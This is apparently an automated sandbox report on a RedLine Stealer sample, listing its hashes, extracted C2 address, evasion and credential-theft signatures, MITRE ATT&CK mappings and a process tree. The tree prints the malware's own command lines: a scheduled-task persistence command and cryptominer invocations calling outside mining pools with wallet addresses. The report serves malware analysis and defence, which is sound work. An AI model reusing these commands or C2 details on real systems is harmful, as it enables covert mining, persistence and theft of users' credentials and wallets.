Analysis

  • max time kernel
    131s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220722-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-08-2022 08:31

General

  • Target

    5daff0720e5dd482ea874b77624bd441.exe

  • Size

    2.5MB

  • MD5

    5daff0720e5dd482ea874b77624bd441

  • SHA1

    66bf798605bb4c12f69538ebd0c99c9198f24e4c

  • SHA256

    5b8ecae5fd44af6428f88915af963e596ad4af121076bcab7956c5125e56306b

  • SHA512

    f4f83fe09ca2f24bc5991a9b0784bfc61ffacb10736838f641bc4e90ff3eed813d6ca7f8351fbf555afa95443409bbfbd7d09da93c80faf2cb2738f9d522009d

Malware Config

Extracted

Family

redline

Botnet

@tag3r1

C2

193.233.193.15:27469

Attributes
  • auth_value

    554b82f47bce5a3808dbca3d25d639e4

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Detected Stratum cryptominer command 1 IoCs

    Looks to be attempting to contact Stratum mining pool.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5daff0720e5dd482ea874b77624bd441.exe
    "C:\Users\Admin\AppData\Local\Temp\5daff0720e5dd482ea874b77624bd441.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3704
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:196968
      • C:\Users\Admin\AppData\Local\Temp\dllhost.exe
        "C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
          "C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4972
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEA21.tmp.bat""
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3544
            • C:\Windows\system32\timeout.exe
              timeout 3
              6⤵
              • Delays execution with timeout.exe
              PID:2368
            • C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
              "C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"
              6⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4060
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AZWZGASDYNOOA" /tr "C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:1016
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AZWZGASDYNOOA" /tr "C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe"
                  8⤵
                  • Creates scheduled task(s)
                  PID:2872
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RFiihDJ8WoynFyMePc1sP28nmxoLmatE9n.work -p x -t 4
                7⤵
                • Detected Stratum cryptominer command
                • Suspicious use of WriteProcessMemory
                PID:1428
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c cls
                  8⤵
                    PID:4280
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe --pool stratum://0xd522E4e1279f59e64625757D66ba4Cbb20D6dC0C.WORKER@eu1.ethermine.org:4444 --cinit-max-gpu=80
                  7⤵
                    PID:792

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scripting

      1
      T1064

      Scheduled Task

      1
      T1053

      Persistence

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Defense Evasion

      Virtualization/Sandbox Evasion

      1
      T1497

      Scripting

      1
      T1064

      Credential Access

      Credentials in Files

      1
      T1081

      Discovery

      Query Registry

      3
      T1012

      Virtualization/Sandbox Evasion

      1
      T1497

      System Information Discovery

      4
      T1082

      Collection

      Data from Local System

      1
      T1005

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
        Filesize

        845KB

        MD5

        93b40ed9ef66ae2c72c9b29cfde49a9a

        SHA1

        90f356d379e9003ec9fba486f87b06e12ace89bc

        SHA256

        7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

        SHA512

        d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

      • C:\ProgramData\rootsystems\AZWZGASDYNOOA.exe
        Filesize

        845KB

        MD5

        93b40ed9ef66ae2c72c9b29cfde49a9a

        SHA1

        90f356d379e9003ec9fba486f87b06e12ace89bc

        SHA256

        7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

        SHA512

        d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

      • C:\Users\Admin\AppData\Local\Temp\dllhost.exe
        Filesize

        3.4MB

        MD5

        b67da452eabdb5202468322d11b07c01

        SHA1

        698f6779381714ec3c7d19840da6a679da918e84

        SHA256

        4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324

        SHA512

        2d4547769f16537ca5e9a9c1beba7ee7047594b1789a25223855a9f86fe1eafdf005d69c57b63f5ff65bbad12052226782e5d558323590057d4eac2f90091205

      • C:\Users\Admin\AppData\Local\Temp\dllhost.exe
        Filesize

        3.4MB

        MD5

        b67da452eabdb5202468322d11b07c01

        SHA1

        698f6779381714ec3c7d19840da6a679da918e84

        SHA256

        4ef945fd32cf250232ef9269f349844f652af3b79f9f05d45495c80d507b8324

        SHA512

        2d4547769f16537ca5e9a9c1beba7ee7047594b1789a25223855a9f86fe1eafdf005d69c57b63f5ff65bbad12052226782e5d558323590057d4eac2f90091205

      • C:\Users\Admin\AppData\Local\Temp\tmpEA21.tmp.bat
        Filesize

        153B

        MD5

        a11a26de9ba791d7737dce9d61f6d6dc

        SHA1

        3cff76faa15b47c2e60ab3da312d8f51d4f82d5a

        SHA256

        1d90af78b5b7d1d566c5110823c737d8e0db4d027bcd68086a9ffbe551cb75ba

        SHA512

        64e3ea900c1e191d9fb75dad8a10681ef02e4c9ad948eb90f64d6c48602e1d2c37ab29fd98c0382a72c2d887563d68a530d8cd03ec7190c0a8e8773eed8725f3

      • C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
        Filesize

        845KB

        MD5

        93b40ed9ef66ae2c72c9b29cfde49a9a

        SHA1

        90f356d379e9003ec9fba486f87b06e12ace89bc

        SHA256

        7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

        SHA512

        d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

      • C:\Users\Admin\AppData\Roaming\ssfFACkHCSBHhHhhCscBSEHAKhKehHuSAFbaEehbhfKSKUUFEUeHCeA.exe
        Filesize

        845KB

        MD5

        93b40ed9ef66ae2c72c9b29cfde49a9a

        SHA1

        90f356d379e9003ec9fba486f87b06e12ace89bc

        SHA256

        7cf14371db51b67557ca62b3cb9fc79e18647aea00d4540f9caf1c44316f3813

        SHA512

        d20b7d1e8da6299add1c51c245c886be273ed429941bf6272bb7b178bff2611d967557e9bfbe420a5c7bcd281c9d8830d53625fc8757bb2710581ba77b47ab00

      • memory/792-184-0x0000000140000000-0x0000000140444000-memory.dmp
        Filesize

        4.3MB

      • memory/792-182-0x0000000140000000-0x0000000140444000-memory.dmp
        Filesize

        4.3MB

      • memory/792-183-0x000000014025502C-mapping.dmp
      • memory/1016-170-0x0000000000000000-mapping.dmp
      • memory/1428-173-0x0000000140000000-0x00000001400C6000-memory.dmp
        Filesize

        792KB

      • memory/1428-174-0x000000014006EE80-mapping.dmp
      • memory/1428-175-0x0000000140000000-0x00000001400C6000-memory.dmp
        Filesize

        792KB

      • memory/1428-176-0x0000000140000000-0x00000001400C6000-memory.dmp
        Filesize

        792KB

      • memory/1428-181-0x0000000140000000-0x00000001400C6000-memory.dmp
        Filesize

        792KB

      • memory/1428-179-0x0000000140000000-0x00000001400C6000-memory.dmp
        Filesize

        792KB

      • memory/2368-165-0x0000000000000000-mapping.dmp
      • memory/2872-171-0x0000000000000000-mapping.dmp
      • memory/3544-163-0x0000000000000000-mapping.dmp
      • memory/4060-167-0x0000000000000000-mapping.dmp
      • memory/4060-180-0x00007FFD5C8D0000-0x00007FFD5D391000-memory.dmp
        Filesize

        10.8MB

      • memory/4060-172-0x00007FFD5C8D0000-0x00007FFD5D391000-memory.dmp
        Filesize

        10.8MB

      • memory/4060-185-0x00007FFD5C8D0000-0x00007FFD5D391000-memory.dmp
        Filesize

        10.8MB

      • memory/4280-177-0x0000000000000000-mapping.dmp
      • memory/4916-161-0x0000000077B40000-0x0000000077CE3000-memory.dmp
        Filesize

        1.6MB

      • memory/4916-156-0x0000000077B40000-0x0000000077CE3000-memory.dmp
        Filesize

        1.6MB

      • memory/4916-150-0x0000000000000000-mapping.dmp
      • memory/4916-160-0x0000000000780000-0x0000000000DA6000-memory.dmp
        Filesize

        6.1MB

      • memory/4916-153-0x0000000000780000-0x0000000000DA6000-memory.dmp
        Filesize

        6.1MB

      • memory/4916-155-0x0000000000780000-0x0000000000DA6000-memory.dmp
        Filesize

        6.1MB

      • memory/4972-178-0x00007FFD5C8D0000-0x00007FFD5D391000-memory.dmp
        Filesize

        10.8MB

      • memory/4972-157-0x0000000000000000-mapping.dmp
      • memory/4972-166-0x00007FFD5C8D0000-0x00007FFD5D391000-memory.dmp
        Filesize

        10.8MB

      • memory/4972-162-0x0000000000FE0000-0x00000000010B8000-memory.dmp
        Filesize

        864KB

      • memory/196968-144-0x0000000005E70000-0x0000000005F02000-memory.dmp
        Filesize

        584KB

      • memory/196968-143-0x0000000006380000-0x0000000006924000-memory.dmp
        Filesize

        5.6MB

      • memory/196968-147-0x0000000006A80000-0x0000000006AD0000-memory.dmp
        Filesize

        320KB

      • memory/196968-146-0x0000000006010000-0x000000000602E000-memory.dmp
        Filesize

        120KB

      • memory/196968-145-0x0000000005F10000-0x0000000005F86000-memory.dmp
        Filesize

        472KB

      • memory/196968-149-0x0000000007C10000-0x000000000813C000-memory.dmp
        Filesize

        5.2MB

      • memory/196968-132-0x0000000000000000-mapping.dmp
      • memory/196968-148-0x0000000006CA0000-0x0000000006E62000-memory.dmp
        Filesize

        1.8MB

      • memory/196968-142-0x0000000005290000-0x00000000052F6000-memory.dmp
        Filesize

        408KB

      • memory/196968-141-0x0000000004F50000-0x0000000004F8C000-memory.dmp
        Filesize

        240KB

      • memory/196968-140-0x0000000005020000-0x000000000512A000-memory.dmp
        Filesize

        1.0MB

      • memory/196968-139-0x0000000004EF0000-0x0000000004F02000-memory.dmp
        Filesize

        72KB

      • memory/196968-138-0x00000000054B0000-0x0000000005AC8000-memory.dmp
        Filesize

        6.1MB

      • memory/196968-133-0x0000000000400000-0x0000000000420000-memory.dmp
        Filesize

        128KB